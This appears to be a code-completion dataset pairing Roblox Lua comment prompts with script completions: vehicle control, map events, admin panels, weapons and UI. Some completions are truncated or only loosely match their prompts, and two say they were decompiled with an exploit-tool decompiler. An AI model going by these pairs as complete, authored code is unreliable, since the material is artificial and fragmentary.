prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- ~60 c/s
game["Run Service"].Stepped:connect(function() --Steering Steering() --RPM RPM() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end)
-- The list of events in chronological order.
do -- Sector 1 Events local shutterA = Lib.Map.SectorA.ShutterPart1 local shutterB = Lib.Map.SectorA.ShutterPart2 local wall1 = Lib.Map.SectorA.Wall5A local wall2 = Lib.Map.SectorA.Wall5B local weakPlatformA = Lib.Map.SectorA.WeakPlatformA local weakPlatformB = Lib.Map.SectorA.WeakPlatformB local weakPlatformC = Lib.Map.SectorA.WeakPlatformC local weakPlatformD = Lib.Map.SectorA.WeakPlatformD local lightBase1 = Lib.Map.SectorA.LightBase1 local light1 = Lib.Map.SectorA.Light1 local function drainWater(distance, duration) water1.DrainSound:Play() Lib.Script.moveWater(water1, Vector3.new(0, -distance, 0), duration, true) end Lib.btnFuncs[1] = function() -- When the upstairs button is pressed, drain the acid to the sewer. lightBase1.Anchored = false light1.BrickColor = BrickColor.new("Daisy orange") light1.Material = Enum.Material.Neon light1.PointLight.Enabled = true weakPlatformA.Anchored = false game.Debris:AddItem(weakPlatformA, 5) drainWater(19, 3) local drainDoor = shutterA Lib.Script.moveWater(drainDoor, Vector3.new(0, 2, 0), 1, true) drainDoor.MotorSound:Play() delay(1, function() drainDoor.MotorSound:Stop() end) end Lib.btnFuncs[2] = function() -- When the sewer drain button is pressed, open it fully. local drainDoor = shutterA Lib.Script.moveWater(drainDoor, Vector3.new(0, 6, 0), 3, true) drainDoor.MotorSound:Play() delay(3, function() drainDoor.MotorSound:Stop() end) end Lib.btnFuncs[3] = function() Lib.Script.setWaterState(water1, "lava") wait(18) -- Drop the sticky walls! wall1.Anchored = false wall2.Anchored = false wall2.BreakSound:Play() end autoEvents[#autoEvents + 1] = function() -- After a while, flood the sewer again! Lib.Script.moveWater(water1, Vector3.new(0, 3, 0), 31, true) wait(31) shutterA.Anchored = false shutterA.BreakSound:Play() Lib.Script.moveWater(water1, Vector3.new(0, 20 - 4, 0), 2, true) wait(2) end Lib.btnFuncs[4] = function() Lib.Script.setWaterState(water1, "acid") weakPlatformB.Anchored = false game.Debris:AddItem(weakPlatformD, 5) wait(0.5) weakPlatformC.Anchored = false game.Debris:AddItem(weakPlatformC, 5) wait(0.5) weakPlatformD.Anchored = false game.Debris:AddItem(weakPlatformB, 5) end Lib.btnFuncs[5] = function() -- When the spire drain button is pressed, drain the place and open the door. drainWater(59, 2.5) Lib.Script.setWaterState(water1, "acid") Lib.Script.moveWater(water2, Vector3.new(0, 3, 0), 2.5, true) local drainDoor = shutterB Lib.Script.moveWater(drainDoor, Vector3.new(0, 8, 0), 6, true) drainDoor.MotorSound:Play() delay(16, function() drainDoor.MotorSound:Stop() end) end autoEvents[#autoEvents + 1] = function() -- Flood the first sector entirely to kill anybody still in there. Lib.Script.moveWater(water1, Vector3.new(0, 2, 0), 10.5, true) Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 10.5, true) wait(10.5) Lib.Script.moveWater(water1, Vector3.new(0, 100, 0), 4, true) Lib.Script.moveWater(water2, Vector3.new(0, -5, 0), 1, true) shutterB.Anchored = false shutterB.BreakSound:Play() shutterB.MotorSound:Stop() end end do -- Sector 2 Events local lightBase1 = Lib.Map.SectorB.LightBase1 local light1 = Lib.Map.SectorB.Light1 local lightBase2 = Lib.Map.SectorB.LightBase2 local light2 = Lib.Map.SectorB.Light2 local lightCables = Lib.Map.SectorB.LightCables local loosePlatform1 = Lib.Map.SectorB.LoosePlatform1 local loosePlatform2 = Lib.Map.SectorB.LoosePlatform2 local doorSeal = Lib.Map.SectorB.DoorSeal local climbPlatforms = Lib.Map.SectorB.ClimbPlatforms local weakWall1 = Lib.Map.SectorB.WeakWall1 local weakWall2 = Lib.Map.SectorB.WeakWall2 autoEvents[#autoEvents + 1] = function() Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 27.5, true) wait(27.5) end Lib.btnFuncs[6] = function() lightBase1.BreakSound:Play() lightBase1.Anchored = false lightBase2.Anchored = false for i, light in ipairs({light1, light2}) do light.BrickColor = BrickColor.new("Daisy orange") light.Material = Enum.Material.Neon light.PointLight.Enabled = true end for i, cable in ipairs(lightCables:GetChildren()) do cable.Enabled = true end end Lib.btnFuncs[8] = function() Lib.Script.moveWater(weakWall1, Vector3.new(0, -17, 0), 1, true) weakWall1.ExplosionSound:Play() wait(3) loosePlatform1.Anchored = false loosePlatform1.BreakSound:Play() end autoEvents[#autoEvents + 1] = function() Lib.Script.setWaterState(water2, "lava") Lib.Script.moveWater(water2, Vector3.new(0, 80, 0), 17, true) wait(17) end Lib.btnFuncs[9] = function() local platform = climbPlatforms.MotorizedPlatform Lib.Script.moveWater(platform, Vector3.new(0, -6, 0), 3, true) platform.MotorSound:Play() delay(3, function() platform.MotorSound:Stop() end) wait(3.5) loosePlatform2.Anchored = false loosePlatform2.BreakSound:Play() end Lib.btnFuncs[10] = function() Lib.Script.moveWater(weakWall2, Vector3.new(0, -17, 0), 1, true) weakWall2.ExplosionSound:Play() end autoEvents[#autoEvents + 1] = function() -- Break the platforms. for i, item in ipairs(climbPlatforms:GetDescendants()) do if item:IsA("BasePart") then item.Anchored = false end end climbPlatforms:BreakJoints() climbPlatforms.BreakSoundPart.BreakSound:Play() Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 6, true) wait(6) -- Flood the remaining area. doorSeal.CFrame = doorSeal.CFrame * CFrame.new(0, 7, 0) Lib.Script.moveWater(doorSeal, Vector3.new(0, 9, 0), 1, true) Lib.Script.moveWater(water2, Vector3.new(0, 16 - 2, 0), 2, true) wait(2) end end
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = service.New("ScreenGui") local toggle = service.New("ImageButton", gui) local gTable = client.UI.Register(gui) local clickSound = service.New("Sound") clickSound.Parent = toggle clickSound.Volume = 0.25 clickSound.SoundId = "rbxassetid://156286438" if client.UI.Get("HelpButton", gui, true) then gui:Destroy() gTable:Destroy() return nil end gTable.Name = "HelpButton" gTable.CanKeepAlive = false toggle.Name = "Toggle" toggle.BackgroundTransparency = 1 toggle.Position = UDim2.new(1, -45, 1, -45) toggle.Size = UDim2.new(0, 40, 0, 40) toggle.Image = client.HelpButtonImage toggle.ImageTransparency = 0.35 toggle.Modal = client.Variables.ModalMode toggle.ClipsDescendants = true --if client.UI.Get("Chat") then -- toggle.Position = UDim2.new(1, -(45+40),1, -45) --end toggle.MouseButton1Down:Connect(function() task.spawn(function() local effect = Instance.new("ImageLabel", toggle) effect.AnchorPoint = Vector2.new(0.5, 0.5) effect.BorderSizePixel = 0 effect.ZIndex = toggle.ZIndex + 1 effect.BackgroundTransparency = 1 effect.ImageTransparency = 0.8 effect.Image = "rbxasset://textures/whiteCircle.png" effect.Position = UDim2.new(0.5, 0, 0.5, 0) effect:TweenSize(UDim2.new(0, toggle.AbsoluteSize.X * 2.5, 0, toggle.AbsoluteSize.X * 2.5), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.2) task.wait(0.2) effect:Destroy() end) local found = client.UI.Get("UserPanel",nil,true) if found then found.Object:Destroy() else clickSound:Play() client.UI.Make("UserPanel",{}) end end) gTable:Ready() end
-- delay to stop people from getting teleported back and forth forever
DelayTime = 1.0 local db = false TweenService = game:GetService("TweenService") info = TweenInfo.new(FadeTime, Enum.EasingStyle.Linear)
--Add a new title to a player's inventory
function functions.AddTitleToInventory(plr: Player, titleName: string) local plrStats = plr.leaderstats local plrTitles = plrStats.Titles if titles:FindFirstChild(titleName) and not plrTitles:FindFirstChild(titleName) then local titleValue = Instance.new("StringValue") titleValue.Name = titleName titleValue.Parent = plrTitles end end
--AdmiralLennox
Chest = script.Parent Lid = Chest.Lid Lid.PrimaryPart = Lid.Hinge increment = 96 debounce = false function rotate(model, amount) for i=1, math.abs(amount/2) do model:SetPrimaryPartCFrame(model.Hinge.CFrame * CFrame.fromEulerAnglesXYZ(0,math.pi/amount,0)) wait() end end function openChest() print("Clicked on handle.") if not debounce then debounce = true if Chest.Open.Value then rotate(Lid, increment) else rotate(Lid, -increment) end Chest.Open.Value = not Chest.Open.Value debounce = false else end end Lid.ClickDetector.MouseClick:Connect(openChest)
--local connection --local function func() -- script.Parent:PivotTo(CFrame.new(script.Parent.Vec3Pos.Value)) -- connection:Disconnect() -- wait(.05) -- connection = script.Parent.Vec3Pos.Changed:Connect(func) --end --connection = script.Parent.Vec3Pos.Changed:Connect(func)
-- Damping module/instances
local Damping = require(script:WaitForChild("Damping")) local dampCam = Damping.new() local dampRot = Damping.new()
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/convertDescriptorToString.ts
-----------------------------------------ONLY EDIT THESE VALUES!!!!!----------------------------------------- -----!Instructions!----- --Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.-- --Just place this script into any gun and edit the values below.-- --Editting anything else will risk breaking it.-- ------------------------
Damage = 18 SPS = 19 -- Shots Per Second, gives a limit of how fast the gun shoots. Recoil = 5 -- [1-10] [1 = Minigun, 10 = Sniper] WallShoot = false -- Shoots through walls. GH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.] BulletColor = "Cool yellow" -- Any Brickcolor will work. Flash = true
--Put this script in ServerScriptService
game.Players.PlayerAdded:Connect(function(plr) local Tracker = Instance.new("IntValue") Tracker.Name = "Tracker" Tracker.Parent = plr local Clone = game.ServerStorage.SkipGui:Clone() Clone.Parent = plr.PlayerGui end) local MP = game:GetService("MarketplaceService") MP.ProcessReceipt = function(receipt) local plr = game.Players:GetPlayerByUserId(receipt.PlayerId) if game.ServerStorage.Locations:FindFirstChild(tostring(plr.Tracker.Value+1))~=nil then local To = workspace:FindFirstChild(game.ServerStorage.Locations:FindFirstChild(tostring(plr.Tracker.Value+1)).Value) plr.Character:MoveTo(To.Position) local New = Instance.new("StringValue") New.Name = plr.Name New.Parent = To.Script plr.Tracker.Value = plr.Tracker.Value + 1 return Enum.ProductPurchaseDecision.PurchaseGranted else warn("PURCHASE DENIED") return Enum.ProductPurchaseDecision.NotProcessedYet end end
--[[ Temporarily mounts a Roact element in the DataModel so that it can be tested with Rhodium. Usage: local wasClicked = false local element = Roact.createElement("TextButton", { [Roact.Event.Activated] = function() wasClicked = true end }) withMountedElement(element, function(button: TextButton) button = Rhodium.Element.new(button) button:click() expect(wasClicked).toBe(true) end) ]]
local CoreGui = game:GetService("CoreGui") local ExperienceComponents = script:FindFirstAncestor("ExperienceComponents") local Roact = require(ExperienceComponents.Parent.Roact) local function withMountedElement<T>(element: any, test: (T) -> ()) local screenGui = Instance.new("ScreenGui") screenGui.Name = "RhodiumScreenGui" screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling screenGui.Parent = CoreGui local handle local success, result = pcall(function() handle = Roact.mount(element, screenGui) end) if not success then screenGui:Destroy() error(result) end success, result = pcall(function() test(screenGui:FindFirstChildWhichIsA("GuiObject")) end) Roact.unmount(handle) screenGui:Destroy() if not success then error(result) end end return withMountedElement
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -0.2, 0) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Connection class
local Connection = {} Connection.__index = Connection function Connection.new(signal, fn) return setmetatable({ _connected = true, _signal = signal, _fn = fn, _next = false, }, Connection) end function Connection:Disconnect() if not self._connected then return end self._connected = false -- Unhook the node, but DON'T clear it. That way any fire calls that are -- currently sitting on this node will be able to iterate forwards off of -- it, but any subsequent fire calls will not hit it, and it will be GCed -- when no more fire calls are sitting on it. if self._signal._handlerListHead == self then self._signal._handlerListHead = self._next else local prev = self._signal._handlerListHead while prev and prev._next ~= self do prev = prev._next end if prev then prev._next = self._next end end end Connection.Destroy = Connection.Disconnect
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 4 local lunge_damage = 12 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.1) swordOut() wait(.1) force.Parent = nil wait(.2) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--function of all111
click.MouseClick:connect(function(player) if ready == true then ready = false click.MaxActivationDistance = 0 coverdown() menuappear() local newtool = tool:clone() local newhandle = handle:clone() newtool.Parent = sp.Temporary newhandle.Parent = sp.Temporary newhandle.CFrame = CFrame.new(Vector3.new(newhandle.Position.X, newhandle.Position.Y+1,newhandle.Position.Z)) for _,one in pairs(maingui:GetChildren()) do if one:IsA("TextButton") then one.MouseButton1Down:connect(function() menudisappear() newtool.Name = one.Name for _,frame in pairs(maingui:GetChildren()) do if frame:IsA("Frame") and frame.Name == one.Name then --lol this whole part though for _,button in pairs(frame:GetChildren()) do if button:IsA("TextButton") then button.Visible = true button.MouseButton1Down:connect(function() newtool.ToolTip = button.Name newhandle.Parent = newtool newhandle.Anchored = false newtool.Cup.Disabled = false newtool.Parent = player.Backpack coverup() for _,v in pairs(button.Parent:GetChildren()) do if v:IsA("TextButton") then v.Visible = false end end click.MaxActivationDistance = 10 wait(5) ready = true script.Fixer.Disabled = false end) end end end end end) end end end end)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 8 plrData.Character.Injuries.BrokenArm.Value = false end
--// Connections
L_100_.OnClientEvent:connect(function(L_178_arg1, L_179_arg2, L_180_arg3, L_181_arg4, L_182_arg5, L_183_arg6, L_184_arg7) if L_178_arg1 and not L_15_ then MakeFakeArms() L_41_ = L_21_:WaitForChild('MainGui'):clone() L_41_.Parent = L_2_.PlayerGui L_26_ = L_41_:WaitForChild('Others') L_27_ = L_26_:WaitForChild('Kill') L_28_ = L_41_:WaitForChild('GameGui'):WaitForChild('AmmoFrame') L_29_ = L_28_:WaitForChild('Ammo') L_30_ = L_28_:WaitForChild('AmmoBackground') L_31_ = L_28_:WaitForChild('MagCount') L_32_ = L_28_:WaitForChild('MagCountBackground') L_33_ = L_28_:WaitForChild('DistDisp') L_34_ = L_28_:WaitForChild('Title') L_35_ = L_28_:WaitForChild('Mode1') L_36_ = L_28_:WaitForChild('Mode2') L_37_ = L_28_:WaitForChild('Mode3') L_38_ = L_28_:WaitForChild('Mode4') L_39_ = L_28_:WaitForChild('Mode5') L_40_ = L_28_:WaitForChild('Stances') L_34_.Text = L_1_.Name UpdateAmmo() L_42_ = L_179_arg2 L_43_ = L_180_arg3 L_44_ = L_181_arg4 L_45_ = L_182_arg5 L_46_ = L_183_arg6 L_47_ = L_184_arg7 L_48_ = L_58_.Bolt L_81_ = L_47_.C1 L_82_ = L_47_.C0 if L_1_:FindFirstChild('AimPart2') then L_53_ = L_1_:WaitForChild('AimPart2') end if L_1_:FindFirstChild('FirePart2') then L_56_ = L_1_.FirePart2 end if L_24_.FirstPersonOnly then L_2_.CameraMode = Enum.CameraMode.LockFirstPerson end --uis.MouseIconEnabled = false L_5_.FieldOfView = 70 L_15_ = true elseif L_15_ then if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then Stand() Unlean() end L_87_ = 0 L_74_ = false L_75_ = false L_76_ = false L_60_ = false L_63_ = false L_62_ = false Shooting = false L_91_ = 70 RemoveArmModel() L_41_:Destroy() if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then L_3_['Right Arm'].LocalTransparencyModifier = 0 L_3_['Left Arm'].LocalTransparencyModifier = 0 end L_2_.CameraMode = Enum.CameraMode.Classic L_99_.MouseIconEnabled = true L_5_.FieldOfView = 70 L_15_ = false L_99_.MouseDeltaSensitivity = L_51_ L_4_.Icon = "http://www.roblox.com/asset?id=0" L_15_ = false end end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; for v2, v3 in ipairs((game.ReplicatedStorage.Game.Eggs:GetChildren())) do if not v2 then break; end; local v5 = v3:FindFirstChildOfClass("ModuleScript"); if v5 then v1[v3.Name] = require(v5); end; end; return v1;
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = { Name = "Ping", Title = "Ping", Size = { 150, 70 }, Position = UDim2.new(0, 10, 1, -80), AllowMultiple = false }; local u1 = true; function v1.OnClose() u1 = false; end; local v2 = client.UI.Make("Window", v1); if v2 then local v3 = v2:Add("TextLabel", { Text = "...", BackgroundTransparency = 1, TextSize = 20, Size = UDim2.new(1, 0, 1, 0), Position = UDim2.new(0, 0, 0, 0) }); local l__gTable__4 = v2.gTable; v2:Ready(); while true do v3.Text = client.Remote.Ping() .. "ms"; wait(2); if not u1 then break; end; if not l__gTable__4.Active then break; end; end; end; end;
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "a" then a = true elseif key == "d" then d = true elseif key == "w" then w = true rwd.Throttle = 1 rwd.Torque = tq lwd.Throttle = 1 lwd.Torque = ftq rrwd.Throttle = 1 rrwd.Torque = ftq rwd.MaxSpeed = 80 lwd.MaxSpeed = 80 rrwd.MaxSpeed = 80 carSeat.Throttle = 1 carSeat.Torque = 0 elseif key == "s" then s = true carSeat.Throttle = 0 carSeat.Torque = 0 rwd.Throttle = -1 rwd.Torque = brk lwd.Throttle = -1 lwd.Torque = brk rrwd.Throttle = -1 rrwd.Torque = brk rwd.MaxSpeed = 15 lwd.MaxSpeed = 15 rrwd.MaxSpeed = 15 end end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "a" then print("a up") if d == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end elseif key == "d" then print("d up") if a == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end end a = false d = false end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "w" or key == "s" then rwd.Throttle = 0 rwd.Torque = 0 lwd.Throttle = 0 lwd.Torque = 0 rrwd.Throttle = 0 rrwd.Torque = 0 carSeat.Throttle = 0 carSeat.Torque = cst end end) limitButton.MouseButton1Click:connect(function()
-- Load libraries
while not _G.GetLibraries do wait() end; local Support, Cheer = _G.GetLibraries( 'F3X/SupportLibrary@^1.0.0', 'F3X/Cheer@^0.0.0' ); local View = script.Parent; local Component = Cheer.CreateComponent('BTHSVColorPicker', View); local Connections = {}; function Component.Start(InitialColor, Callback, SelectionPreventionCallback, PreviewCallback) -- Show the UI View.Visible = true; -- Start the color InitialColor = InitialColor or Color3.new(1, 1, 1); Hue, Saturation, Brightness = Color3.toHSV(InitialColor); Hue, Saturation, Brightness = Cheer.Link(Hue), Cheer.Link(Saturation), Cheer.Link(Brightness); -- Connect direct inputs to color setting Cheer.Bind(View.HueOption.Input, { Cheer.Clamp(0, 360), Cheer.Divide(360) }, Hue); Cheer.Bind(View.SaturationOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Saturation); Cheer.Bind(View.BrightnessOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Brightness); -- Connect color to inputs Cheer.Bind(Hue, { Cheer.Multiply(360), Cheer.Round(0) }, View.HueOption.Input):Trigger(); Cheer.Bind(Saturation, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.SaturationOption.Input):Trigger(); Cheer.Bind(Brightness, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.BrightnessOption.Input):Trigger(); -- Connect color to color display Cheer.Bind(Hue, UpdateDisplay):Trigger(); Cheer.Bind(Saturation, UpdateDisplay):Trigger(); Cheer.Bind(Brightness, UpdateDisplay):Trigger(); -- Connect mouse to interactive picker Connections.TrackColor = Support.AddGuiInputListener(View.HueSaturation, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'HS')); Connections.TrackBrightness = Support.AddGuiInputListener(View.Brightness, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'B')); Connections.StopTrackingMouse = Support.AddUserInputListener('Ended', 'MouseButton1', true, StopTrackingMouse); -- Connect OK button to finish color picking Cheer.Bind(View.OkButton, function () -- Clear any preview if PreviewCallback then PreviewCallback(); end; -- Remove the UI View:Destroy(); -- Return the selected color Callback(Color3.fromHSV(#Hue, #Saturation, #Brightness)); end); -- Connect cancel button to clear preview and remove UI Cheer.Bind(View.CancelButton, function () if PreviewCallback then PreviewCallback() end; View:Destroy(); end); -- Store reference to callbacks Component.SelectionPreventionCallback = SelectionPreventionCallback; Component.PreviewCallback = PreviewCallback; -- Clear connections when the component is removed Cheer.Bind(Component.OnRemove, ClearConnections); end; function StartTrackingMouse(TrackingType) -- Only start tracking if not already tracking if Connections.MouseTracking then return; end; -- Watch mouse movement and adjust current color Connections.MouseTracking = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input) -- Track for hue-saturation if TrackingType == 'HS' then Hue('Update', Support.Clamp((Input.Position.X - View.HueSaturation.AbsolutePosition.X) / View.HueSaturation.AbsoluteSize.X, 0, 1)); Saturation('Update', 1 - Support.Clamp((Input.Position.Y - View.HueSaturation.AbsolutePosition.Y) / View.HueSaturation.AbsoluteSize.Y, 0, 1)); -- Track for brightness elseif TrackingType == 'B' then Brightness('Update', 1 - Support.Clamp((Input.Position.Y - View.Brightness.AbsolutePosition.Y) / View.Brightness.AbsoluteSize.Y, 0, 1)); end; end); -- Prevent selection if a callback to do so is provided if Component.SelectionPreventionCallback then Component.SelectionPreventionCallback(); end; end; function StopTrackingMouse() -- Releases any tracking -- Ensure ongoing tracking if not Connections.MouseTracking then return; end; -- Disable any current tracking Connections.MouseTracking:Disconnect(); Connections.MouseTracking = nil; end; function UpdateDisplay() -- Updates the display based on the current color -- Get current color local CurrentColor = Color3.fromHSV(#Hue, #Saturation, #Brightness); -- Update the color display View.ColorDisplay.BackgroundColor3 = CurrentColor; View.HueOption.Bar.BackgroundColor3 = CurrentColor; View.SaturationOption.Bar.BackgroundColor3 = CurrentColor; View.BrightnessOption.Bar.BackgroundColor3 = CurrentColor; -- Update the interactive color picker View.HueSaturation.Cursor.Position = UDim2.new( #Hue, View.HueSaturation.Cursor.Position.X.Offset, 1 - #Saturation, View.HueSaturation.Cursor.Position.Y.Offset ); -- Update the interactive brightness picker View.Brightness.ColorBG.BackgroundColor3 = CurrentColor; View.Brightness.Cursor.Position = UDim2.new( View.Brightness.Cursor.Position.X.Scale, View.Brightness.Cursor.Position.X.Offset, 1 - #Brightness, View.Brightness.Cursor.Position.Y.Offset ); -- Update the preview if enabled if Component.PreviewCallback then Component.PreviewCallback(CurrentColor); end; end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; return Component;
--Change this to your desired broadcast prefix.
_G.broadcastPrefix = "[Server] "
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.1) local MagC = objs[4]:clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() wait(0.05) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() 